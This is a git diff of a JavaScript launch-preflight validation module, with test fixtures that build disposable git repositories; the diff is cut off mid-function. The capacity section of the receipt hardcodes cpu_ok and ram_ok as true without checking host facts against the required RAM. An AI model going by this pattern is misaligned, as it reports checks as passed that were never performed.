index 0000000..10bfa8a --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -0,0 +1,752 @@ +// RunPreflightV1 — launch-side preflight validation gate (P26). +// +// Additive v3 module. It sits between an authored run submission and any +// later launch surface and validates ONLY: a passing preflight creates no +// workspace, no branch or ref, no task dispatch, no credential projection, +// no remote mutation, and no reservation; a failing preflight leaves even +// less. The module performs no filesystem write of any kind, and its only +// process spawns are read-only git observations (`rev-parse`, `cat-file -t`, +// `for-each-ref`) run argv-only under the accepted closed git environment +// with `--no-replace-objects --no-optional-locks`, disabled fsmonitor and +// hooks, so even advisory lock files cannot appear as an observation +// side effect. +// +// What one preflight validates, in a fixed fail-fast pipeline: +// 1. hostile-input quarantine of the whole request (Proxies, symbols, +// non-enumerables, aliases, exotic prototypes) before any byte is +// interpreted; +// 2. the complete accepted P02 run contract through +// `parseRunManifestV1()` — envelope, deep AssignmentManifestV1, +// RunPolicyV1 literals, and overlapping-writer-scope detection — so +// every upstream denial code keeps its accepted meaning; +// 3. exact canonical repository/base identity observed on the host: the +// submitted path must be a real directory identical to its own +// realpath (never a symlink alias or alternate spelling), inside a +// work tree, not bare, with a trusted `.git` layout whose resolved +// target equals the observed git directory, and the submitted base +// must exist in that repository as exactly one commit object with no +// replace refs shadowing object identity; +// 4. a detached, deeply frozen receipt carrying the observed facts plus +// a P03-bound GitIdentityV1 for direct P24 run-store compatibility. +// +// Composition stays additive: manifest/policy semantics belong to the P02 +// modules, the GitIdentityV1 digest binding belongs to the P03 authority, +// selection resolution stays behind the P05 resolver (never invoked here), +// provider composition stays behind the P23 registry (never invoked here), +// and durable submission stays behind the P24 store (nothing is written +// here). There is no supervisor/server cutover, no scheduling, no dispatch, +// no workspace provisioning, and no cleanup ownership. + +import { spawn as nodeSpawn } from 'node:child_process'; +import { lstat as nodeLstat, readFile as nodeReadFile, realpath as nodeRealpath } from 'node:fs/promises'; +import * as nodeOs from 'node:os'; +import * as nodePath from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, +} from './grammar.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + MAX_GIT_ARG_BYTES, + MAX_GIT_ARGS, + MAX_GIT_OUTPUT_BYTES, + MAX_GIT_TIME_MS, + MAX_GIT_TOTAL_TIME_MS, +} from './git-identity.mjs'; +import { buildGitIdentityV1 } from './protected-identity.mjs'; +import { + RunContractV1Error, + isPlainObject, + writerScopesOverlap, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; +import { parseRunManifestV1 } from './run-policy.mjs'; + +export const RUN_PREFLIGHT_SCHEMA_ID = 'codex-co-engineer.run-preflight.v1'; +export const RUN_PREFLIGHT_VERSION = 1; + +// The launch boundary owns its child bounds as frozen literals. They are +// deliberately NOT derived from any quota, plan, or grammar constant, so a +// routine quota change anywhere else can never widen this invariant. +export const PREFLIGHT_MIN_CHILDREN = 1; +export const PREFLIGHT_MAX_CHILDREN = 8; + +// Deterministic capacity model: every concurrently running child is +// guaranteed a schedulable CPU slot and a private RAM floor. +export const PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD = 268_435_456; + +export const PREFLIGHT_REQUEST_ALLOWED_KEYS = capturedFreeze(['manifest']); +export const PREFLIGHT_OPTIONS_ALLOWED_KEYS = capturedFreeze(['host', 'spawn']); +export const PREFLIGHT_HOST_FACTS_ALLOWED_KEYS = capturedFreeze([ + 'cpu_parallelism', 'total_ram_bytes', 'available_ram_bytes', +]); + +// Read-only git observations are the only spawns this boundary may issue, +// under the accepted isolation flags. Anything else is a defect, not an +// extension point. +export const RUN_PREFLIGHT_READONLY_GIT_COMMANDS = capturedFreeze([ + 'rev-parse', 'cat-file', 'for-each-ref', +]); + +const PRIVATE_GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', +]); + +const PRIVATE_MAX_LAYOUT_FILE_BYTES = 4096; +const PRIVATE_MAX_GIT_COMMANDS = 8; +const PRIVATE_BASE_TYPE = 'commit'; +const PRIVATE_TRUE_FALSE_PATTERN = /^(?:true|false)$/u; +const PRIVATE_SINGLE_LINE_PATTERN = /^[^\n\r\0]*$/u; +const PRIVATE_GITDIR_LINE_PATTERN = /^gitdir: (\/[^\n\r\0]*)$/u; + +export const RUN_PREFLIGHT_CHECKS = capturedFreeze([ + 'request_quarantine', + 'complete_run_manifest', + 'canonical_repository', + 'exact_base_commit', + 'no_replace_refs', +]); + +export const RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'workspace_created', + 'branch_or_ref_created', + 'task_dispatched', + 'credentials_projected', + 'remote_mutated', + 'reservation_held', +]); + +// Closed vocabulary of the codes this boundary owns. Upstream codes raised +// by the composed accepted validators pass through unchanged and stay +// authoritative for their surfaces. +export const RUN_PREFLIGHT_ERROR_CODES = capturedFreeze([ + 'spawn_invalid', + 'host_facts_invalid', + 'observation_failed', + 'repository_missing', + 'repository_not_canonical', + 'repository_layout_invalid', + 'base_identity_invalid', + 'replace_refs_denied', + 'bounds_exceeded', +]); + +const PRIVATE_RECEIPT_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'run_id', 'children', 'capacity', 'repository', + 'checks', 'side_effects', 'git_identity', +]); +const PRIVATE_CHILD_SUMMARY_KEYS = capturedFreeze([ + 'count', 'minimum', 'maximum', 'independent', 'concurrency', 'assignment_ids', +]); +const PRIVATE_CAPACITY_SUMMARY_KEYS = capturedFreeze([ + 'source', 'cpu_parallelism', 'total_ram_bytes', 'available_ram_bytes', + 'required_ram_bytes', 'cpu_ok', 'ram_ok', +]); +const PRIVATE_REPOSITORY_FACTS_KEYS = capturedFreeze([ + 'path', 'base_sha', 'object_type', 'git_dir', +]); + +function failPreflight(code, path, message) { + fail(code, path, message); +} + +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); +} + +function sortedOwnKeys(value) { + const keys = capturedOwnKeys(value); + const sorted = [...keys]; + sorted.sort(); + return sorted; +} + +function assertClosedKeySet(value, allowedKeys, path) { + for (const key of sortedOwnKeys(value)) { + if (!capturedIncludes(allowedKeys, key)) { + failPreflight('invalid_format', `${path}.${key}`, + `${path} carries a key outside the closed preflight vocabulary.`); + } + } +} + +function requiredKey(value, key, path) { + if (!hasOwn(value, key)) { + failPreflight('missing_key', `${path}.${key}`, + `${path}.${key} is required (${RUN_PREFLIGHT_SCHEMA_ID}); preflight requests have no hidden defaults.`); + } + return ownDataValue(value, key, `${path}.${key}`); +} + +function defaultSpawn() { + return nodeSpawn; +} + +function parseOptions(options) { + if (options === undefined) { + return capturedFreeze({ host: null, spawn: defaultSpawn() }); + } + assertNotProxy(options, 'options'); + if (!isPlainObject(options)) { + failPreflight('invalid_type', 'options', 'options must be a plain JSON data object.'); + } + assertClosedKeySet(options, PREFLIGHT_OPTIONS_ALLOWED_KEYS, 'options'); + // The spawn seam is a trusted process handle, not JSON data: it is + // validated directly and kept out of the JSON closure walk. + let spawn = defaultSpawn(); + if (hasOwn(options, 'spawn')) { + spawn = ownDataValue(options, 'spawn', 'options.spawn'); + if (typeof spawn !== 'function') { + failPreflight('invalid_type', 'options.spawn', 'options.spawn must be a spawn function.'); + } + assertNotProxy(spawn, 'options.spawn'); + } + let host = null; + if (hasOwn(options, 'host')) { + host = parseHostFacts(ownDataValue(options, 'host', 'options.host')); + } + return capturedFreeze({ host, spawn }); +} + +function ambientHostFacts() { + const os = nodeOs; + let parallelism; + try { + parallelism = typeof os.availableParallelism === 'function' ? os.availableParallelism() : os.cpus().length; + } catch { + parallelism = 0; + } + let total; + try { + total = os.totalmem(); + } catch { + total = 0; + } + let available; + try { + available = os.freemem(); + } catch { + available = 0; + } + return capturedFreeze({ + cpu_parallelism: parallelism, + total_ram_bytes: total, + available_ram_bytes: available, + }); +} + +function parseHostFacts(value) { + assertNotProxy(value, 'options.host'); + if (!isPlainObject(value)) { + failPreflight('invalid_type', 'options.host', 'options.host must be a plain JSON data object.'); + } + assertDirectJsonClosure(value, 'options.host'); + assertClosedKeySet(value, PREFLIGHT_HOST_FACTS_ALLOWED_KEYS, 'options.host'); + const facts = {}; + for (const key of PREFLIGHT_HOST_FACTS_ALLOWED_KEYS) { + const factValue = requiredKey(value, key, 'options.host'); + if (typeof factValue !== 'number' || !Number.isSafeInteger(factValue) || factValue < 0) { + failPreflight('host_facts_invalid', `options.host.${key}`, + 'Injected host facts must be non-negative safe integers.'); + } + facts[key] = factValue; + } + return capturedFreeze(facts); +} + +function parseRequest(request) { + if (request === undefined || request === null) { + failPreflight('invalid_type', 'request', 'A preflight request must be a plain JSON data object.'); + } + assertDirectJsonClosure(request, 'request'); + assertNotProxy(request, 'request'); + if (!isPlainObject(request)) { + failPreflight('invalid_type', 'request', 'A preflight request must be a plain JSON data object.'); + } + assertClosedKeySet(request, PREFLIGHT_REQUEST_ALLOWED_KEYS, 'request'); + const manifest = requiredKey(request, 'manifest', 'request'); + return manifest; +} + +function summarizeChildren(snapshot) { + const assignments = snapshot.assignments; + const ids = []; + for (let index = 0; index < assignments.length; index += 1) { + ids.push(assignments[index].assignment_id); + } + return capturedFreeze({ + count: assignments.length, + minimum: PREFLIGHT_MIN_CHILDREN, + maximum: PREFLIGHT_MAX_CHILDREN, + independent: true, + concurrency: snapshot.policy.max_concurrency, + assignment_ids: capturedFreeze(ids), + }); +} + +// Defense-in-depth at the launch boundary: the parsed snapshot is detached +// and frozen, so this pairwise recheck cannot race a caller mutation. The +// comparison is the accepted conservative static-prefix intersection. +function assertSnapshotDisjointWriterScopes(snapshot) { + const assignments = snapshot.assignments; + const scopes = []; + for (let index = 0; index < assignments.length; index += 1) { + const assignment = assignments[index]; + if (!assignment || assignment.access !== 'writer') continue; + scopes.push({ + index, + assignment_id: assignment.assignment_id, + patterns: assignment.write_scope, + }); + } + for (let left = 0; left < scopes.length; left += 1) { + for (let right = left + 1; right < scopes.length; right += 1) { + const leftScope = scopes[left]; + const rightScope = scopes[right]; + for (let leftIndex = 0; leftIndex < leftScope.patterns.length; leftIndex += 1) { + for (let rightIndex = 0; rightIndex < rightScope.patterns.length; rightIndex += 1) { + if (writerScopesOverlap(leftScope.patterns[leftIndex], rightScope.patterns[rightIndex])) { + failPreflight('overlapping_writer_scope', `assignments[${right}].write_scope`, + 'Two child assignments declare overlapping writer scopes; concurrent writers must own disjoint paths.'); + } + } + } + } + } +} + +function createSession(spawnFn) { + return { + spawn: spawnFn, + commands: 0, + startedAt: Date.now(), + deadlineAt: Date.now() + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function assertSessionBounds(session, path) { + if (session.commands >= PRIVATE_MAX_GIT_COMMANDS) { + failPreflight('bounds_exceeded', path, 'The preflight exceeded its git command budget.'); + } + if (Date.now() >= session.deadlineAt) { + failPreflight('bounds_exceeded', path, 'The preflight exceeded its git wall-clock budget.'); + } +} + +function decodeUtf8(bytes, path) { + let text; + try { + text = bytes.toString('utf8'); + } catch { + failPreflight('observation_failed', path, 'A git observation produced an invalid encoding.'); + } + let roundtrip; + try { + roundtrip = Buffer.from(text, 'utf8'); + } catch { + failPreflight('observation_failed', path, 'A git observation produced an invalid encoding.'); + } + if (roundtrip.length !== bytes.length || !roundtrip.equals(bytes)) { + failPreflight('observation_failed', path, 'A git observation produced a non-UTF-8 response.'); + } + return text; +} + +async function runObservation(session, args, pathLabel) { + if (!capturedIsArray(args)) { + failPreflight('observation_failed', pathLabel, 'The preflight observation argv is malformed.'); + } + assertSessionBounds(session, pathLabel); + session.commands += 1; + const argv = [...PRIVATE_GIT_ISOLATION_FLAGS, ...args]; + if (argv.length > MAX_GIT_ARGS) { + failPreflight('bounds_exceeded', pathLabel, 'The preflight observation exceeds the git argv cap.'); + } + for (const arg of argv) { + if (typeof arg !== 'string' || arg.length === 0 || arg.includes('\0') + || Buffer.byteLength(arg, 'utf8') > MAX_GIT_ARG_BYTES) { + failPreflight('observation_failed', pathLabel, 'The preflight observation argv is malformed.'); + } + } + const spawnOptions = { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + const remainingMs = session.deadlineAt - Date.now(); + return new Promise((resolve) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv, spawnOptions); + } catch { + resolve(contractError('observation_failed', pathLabel, + 'The preflight could not start a git observation.')); + return; + } + if (!child || (typeof child !== 'object' && typeof child !== 'function')) { + resolve(contractError('observation_failed', pathLabel, + 'The preflight could not start a git observation.')); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) resolve(error); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { + child.kill('SIGKILL'); + } catch { /* already exited */ } + finish(contractError('bounds_exceeded', pathLabel, + 'The preflight observation exceeded an output or wall-clock bound.')); + }; + timer = setTimeout(exceed, Math.min(MAX_GIT_TIME_MS, remainingMs)); + const onChunk = (target, getSize, setSize) => (chunk) => { + if (exceeded) return; + const owned = Buffer.isBuffer(chunk) ? chunk : Buffer.from([]); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + target.push(owned); + }; + try { + if (child.stdout && typeof child.stdout.on === 'function') { + child.stdout.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); + } + if (child.stderr && typeof child.stderr.on === 'function') { + child.stderr.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); + } + child.once('error', () => { + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + if (Date.now() >= session.deadlineAt) { + finish(contractError('bounds_exceeded', pathLabel, + 'The preflight exceeded its git wall-clock budget.')); + return; + } + if (signal !== null && signal !== undefined) { + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: decodeUtf8(Buffer.concat(stdoutChunks), pathLabel), + stderr: decodeUtf8(Buffer.concat(stderrChunks), pathLabel), + }); + }); + } catch { + try { + child.kill('SIGKILL'); + } catch { /* already exited */ } + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + } + }); +} + +// Infrastructure failures (spawn start, streams) stay `observation_failed`. +// A child that actually ran and reported failure is reclassified through +// `exitFailureCode` so semantic denials stay precise at this boundary. +async function mustObserve(session, args, pathLabel, options = {}) { + const outcome = await runObservation(session, args, pathLabel); + if (outcome instanceof RunContractV1Error) throw outcome; + if (outcome.exit_code !== 0) { + const { exitFailureCode = 'observation_failed', exitMessage = 'The preflight could not complete a git observation.' } = options; + failPreflight(exitFailureCode, pathLabel, exitMessage); + } + const expectedArgsLength = options.lineCount; + const unexpectedMessage = options.unexpectedMessage + ?? 'A git observation produced an unexpected response.'; + let text = outcome.stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.includes('\0') || text.includes('\r')) { + failPreflight('observation_failed', pathLabel, + 'A git observation produced an unexpected response.'); + } + const lines = text.split('\n'); + if (expectedArgsLength !== undefined && lines.length !== expectedArgsLength) { + failPreflight('observation_failed', pathLabel, unexpectedMessage); + } + return lines; +} + +async function readBoundedText(filePath, pathLabel) { + let bytes; + try { + bytes = await nodeReadFile(filePath); + } catch { + failPreflight('repository_layout_invalid', pathLabel, + 'The repository layout is not a trusted git worktree layout.'); + } + if (bytes.length > PRIVATE_MAX_LAYOUT_FILE_BYTES) { + failPreflight('repository_layout_invalid', pathLabel, + 'The repository layout is not a trusted git worktree layout.'); + } + return decodeUtf8(bytes, pathLabel); +} + +async function assertCanonicalDirectory(candidatePath, pathLabel, missingCode) { + let metadata; + try { + metadata = await nodeLstat(candidatePath); + } catch { + failPreflight(missingCode, pathLabel, + 'The submitted repository path does not identify an accessible directory.'); + } + if (typeof metadata?.isDirectory !== 'function' || !metadata.isDirectory() + || (typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + failPreflight('repository_not_canonical', pathLabel, + 'The submitted repository path must be a real directory, never a symlink alias.'); + } + let resolved; + try { + resolved = await nodeRealpath(candidatePath); + } catch { + failPreflight(missingCode, pathLabel, + 'The submitted repository path does not identify an accessible directory.'); + } + if (resolved !== candidatePath) { + failPreflight('repository_not_canonical', pathLabel, + 'The submitted repository path must equal its own canonical realpath spelling.'); + } + return resolved; +} + +async function observeCanonicalRepository(session, repositoryPath, pathLabel) { + await assertCanonicalDirectory(repositoryPath, `${pathLabel}.path`, 'repository_missing'); + const lines = await mustObserve( + session, + ['-C', repositoryPath, 'rev-parse', '--path-format=absolute', + '--is-inside-work-tree', '--is-bare-repository', '--show-toplevel', '--absolute-git-dir'], + `${pathLabel}.work_tree`, + { + lineCount: 4, + // Only a child that actually ran and reported failure lands here; + // spawn/stream infrastructure failures stay `observation_failed`. + exitFailureCode: 'repository_not_canonical', + exitMessage: 'The submitted repository path must identify a canonical non-bare git work tree root.', + }, + ); + const [inside, bare, toplevel, gitDir] = lines; + if (!PRIVATE_TRUE_FALSE_PATTERN.test(inside) || inside !== 'true' + || !PRIVATE_TRUE_FALSE_PATTERN.test(bare) || bare !== 'false') { + failPreflight('repository_not_canonical', `${pathLabel}.path`, + 'The submitted repository path must identify a non-bare git work tree root.'); + } + if (toplevel !== repositoryPath) { + failPreflight('repository_not_canonical', `${pathLabel}.path`, + 'The submitted repository path must equal the observed git work tree toplevel.'); + } + if (gitDir.length === 0 || !gitDir.startsWith('/') || nodePath.resolve(gitDir) !== gitDir + || !PRIVATE_SINGLE_LINE_PATTERN.test(gitDir)) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository did not yield a trusted absolute git directory.'); + } + await assertTrustedGitLayout(repositoryPath, gitDir, pathLabel); + return gitDir; +} + +async function assertTrustedGitLayout(repositoryPath, observedGitDir, pathLabel) { + const gitEntryPath = nodePath.join(repositoryPath, '.git'); + let metadata; + try { + metadata = await nodeLstat(gitEntryPath); + } catch { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + if ((typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + let entryTarget; + if (typeof metadata.isDirectory === 'function' && metadata.isDirectory()) { + try { + entryTarget = await nodeRealpath(gitEntryPath); + } catch { + entryTarget = null; + } + } else if (typeof metadata.isFile === 'function' && metadata.isFile()) { + const text = await readBoundedText(gitEntryPath, `${pathLabel}.path`); + const match = PRIVATE_GITDIR_LINE_PATTERN.exec(text.replace(/\n$/u, '')); + if (!match) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + const declared = nodePath.isAbsolute(match[1]) ? match[1] : nodePath.resolve(repositoryPath, match[1]); + try { + entryTarget = await nodeRealpath(declared); + } catch { + entryTarget = null; + } + } else { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + let observedTarget; + try { + observedTarget = await nodeRealpath(observedGitDir); + } catch { + observedTarget = null; + } + if (entryTarget === null || observedTarget === null || entryTarget !== observedTarget) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } +} + +async function observeExactBaseCommit(session, repositoryPath, baseSha, pathLabel) { + const typeOutcome = await runObservation( + session, + ['-C', repositoryPath, 'cat-file', '-t', baseSha], + `${pathLabel}.base_sha`, + ); + if (typeOutcome instanceof RunContractV1Error) throw typeOutcome; + if (typeOutcome.exit_code !== 0 || typeOutcome.stdout.trim() !== PRIVATE_BASE_TYPE) { + failPreflight('base_identity_invalid', `${pathLabel}.base_sha`, + 'The submitted base must exist as exactly one immutable commit object.'); + } + const replaceLines = await mustObserve( + session, + ['-C', repositoryPath, 'for-each-ref', '--format=%(refname)', '--', 'refs/replace'], + `${pathLabel}.base_sha`, + ); + const replaceText = replaceLines[0] ?? ''; + if (replaceLines.length !== 1 || replaceText.length > 0) { + failPreflight('replace_refs_denied', `${pathLabel}.base_sha`, + 'The repository carries replace refs; object identity cannot be proven exact.'); + } +} + +async function observeRepositoryAndBase(manifest, spawnFn) { + const repositoryPath = manifest.repository.path; + const baseSha = manifest.repository.base_sha; + const pathLabel = 'repository'; + const session = createSession(spawnFn); + const gitDir = await observeCanonicalRepository(session, repositoryPath, pathLabel); + await observeExactBaseCommit(session, repositoryPath, baseSha, pathLabel); + return capturedFreeze({ + path: repositoryPath, + base_sha: baseSha, + object_type: PRIVATE_BASE_TYPE, + git_dir: gitDir, + }); +} + +function buildReceipt(manifest, summary, repositoryFacts, hostFacts) { + const concurrency = manifest.policy.max_concurrency; + const sideEffects = {}; + for (const claim of RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS) { + sideEffects[claim] = false; + } + return capturedFreeze({ + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + status: 'ready', + run_id: manifest.run_id, + children: summary, + capacity: capturedFreeze({ + source: hostFacts.source, + cpu_parallelism: hostFacts.cpu_parallelism, + total_ram_bytes: hostFacts.total_ram_bytes, + available_ram_bytes: hostFacts.available_ram_bytes, + required_ram_bytes: concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + cpu_ok: true, + ram_ok: true, + }), + repository: repositoryFacts, + checks: RUN_PREFLIGHT_CHECKS, + side_effects: capturedFreeze(sideEffects), + git_identity: buildGitIdentityV1({ + repository_path: repositoryFacts.path, + base_sha: repositoryFacts.base_sha, + }), + }); +} + +export async function validateRunPreflightV1(request, options) { + const parsedOptions = parseOptions(options); + const manifestInput = parseRequest(request); + const snapshot = parseRunManifestV1(manifestInput); + const childrenSummary = summarizeChildren(snapshot); + assertSnapshotDisjointWriterScopes(snapshot); + const hostFactsSource = parsedOptions.host ?? ambientHostFacts(); + const hostFacts = capturedFreeze({ + source: parsedOptions.host ? 'injected' : 'ambient', + cpu_parallelism: hostFactsSource.cpu_parallelism, + total_ram_bytes: hostFactsSource.total_ram_bytes, + available_ram_bytes: hostFactsSource.available_ram_bytes, + }); + const repositoryFacts = await observeRepositoryAndBase(snapshot, parsedOptions.spawn); + return buildReceipt(snapshot, childrenSummary, repositoryFacts, hostFacts); +} + +export function describeRunPreflightV1() { + const inventory = capturedFreeze({ + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + rule: 'validate_only_no_launch_side_effect', + min_children: PREFLIGHT_MIN_CHILDREN, + max_children: PREFLIGHT_MAX_CHILDREN, + ram_floor_bytes_per_child: PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + readonly_git_commands: RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + git_spawn_posture: 'argv_only_closed_env_no_optional_locks', + checks: RUN_PREFLIGHT_CHECKS, + error_codes: RUN_PREFLIGHT_ERROR_CODES, + side_effect_nonclaims: RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + composed_surfaces: capturedFreeze({ + run_contract: 'P02 run-manifest/run-policy via parseRunManifestV1', + git_identity_binding: 'P03 protected-identity buildGitIdentityV1', + selection_resolution: 'P05 resolver owns resolution; not invoked here', + provider_composition: 'P23 registry owns composition; not invoked here', + durable_submission: 'P24 run store owns writes; nothing written here', + }), + }); + return freezeData(inventory); +} + +capturedFreeze(validateRunPreflightV1); +capturedFreeze(describeRunPreflightV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs new file mode 100644 index 0000000..15b9e20 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs @@ -0,0 +1,274 @@ +// Neutral fixtures for RunPreflightV1 tests: disposable repositories built +// with argv git only, run manifests, injected host facts, and a recording +// spawn that delegates to the real git binary while capturing every argv. +// Tests own the assertions; nothing here ranks, defaults, or substitutes. + +import { spawn as nodeSpawn } from 'node:child_process'; +import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, +} from '../../mcp/v3/git-identity.mjs'; +import { PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD } from '../../mcp/v3/run-preflight.mjs'; + +export { PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD }; + +export const RUN_ID = 'preflight-under-test'; +export const ASSIGNMENT_ID_A = 'lane-alpha'; +export const ASSIGNMENT_ID_B = 'lane-beta'; + +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P26 Fixture', + GIT_AUTHOR_EMAIL: 'p26@example.test', + GIT_COMMITTER_NAME: 'P26 Fixture', + GIT_COMMITTER_EMAIL: 'p26@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +function runFixtureGit(cwd, args) { + return new Promise((resolve, reject) => { + const child = nodeSpawn(GIT_EXECUTABLE, args, { + cwd, + env: { ...FIXTURE_ENV }, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function initRepo(root) { + await mkdir(root, { recursive: true }); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function commitAll(root, message, fileName = 'file.txt') { + await writeFile(path.join(root, fileName), `${message}\n`, 'utf8'); + await runFixtureGit(root, ['add', '--', fileName]); + await runFixtureGit(root, ['commit', '-m', message]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +function wrapRepo(root, fields) { + return { root, ...fields, cleanup: () => rm(root, { recursive: true, force: true }) }; +} + +export async function createLinearRepo(prefix = 'p26-linear-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + await commitAll(root, 'base commit', 'base.txt'); + const baseSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + await commitAll(root, 'head commit', 'head.txt'); + const headSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + return wrapRepo(root, { baseSha, headSha }); +} + +export async function createDetachedHeadRepo(prefix = 'p26-detached-') { + const repo = await createLinearRepo(prefix); + await runFixtureGit(repo.root, ['checkout', '--detach', repo.baseSha]); + return repo; +} + +export async function createTagObjectRepo(prefix = 'p26-tagobj-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + await commitAll(root, 'base commit', 'base.txt'); + const baseSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + const treeSha = await runFixtureGit(root, ['rev-parse', 'HEAD^{tree}']); + const blobSha = await runFixtureGit(root, ['rev-parse', 'HEAD:base.txt']); + await runFixtureGit(root, ['tag', '-a', '-m', 'release tag', 'v1', baseSha]); + const tagSha = await runFixtureGit(root, ['rev-parse', 'v1']); + return wrapRepo(root, { baseSha, headSha: baseSha, treeSha, blobSha, tagSha }); +} + +export async function createReplaceRefRepo(prefix = 'p26-replace-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await initRepo(root); + const baseSha = await commitAll(root, 'base commit', 'base.txt'); + await commitAll(root, 'second commit', 'second.txt'); + const replacementSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + // A raw ref write installs the shadow without plumbing validation, so the + // fixture does not depend on `git replace` type rules. + await runFixtureGit(root, ['update-ref', `refs/replace/${baseSha}`, replacementSha]); + return wrapRepo(root, { baseSha, headSha: replacementSha }); +} + +export async function createBareRepo(prefix = 'p26-bare-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await mkdir(root, { recursive: true }); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--bare', '--initial-branch=main']); + return wrapRepo(root, { baseSha: null, headSha: null }); +} + +export async function createEmptyDirectory(prefix = 'p26-empty-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await rm(root, { recursive: true, force: true }); + await mkdir(root, { recursive: true }); + return wrapRepo(root, { baseSha: null, headSha: null }); +} + +export async function createSymlinkAliasRepo(prefix = 'p26-symlink-') { + const repo = await createLinearRepo(prefix); + const parent = path.dirname(repo.root); + const alias = path.join(parent, `${path.basename(repo.root)}-alias`); + await symlink(repo.root, alias, 'dir'); + return { + ...repo, + cleanup: () => { + 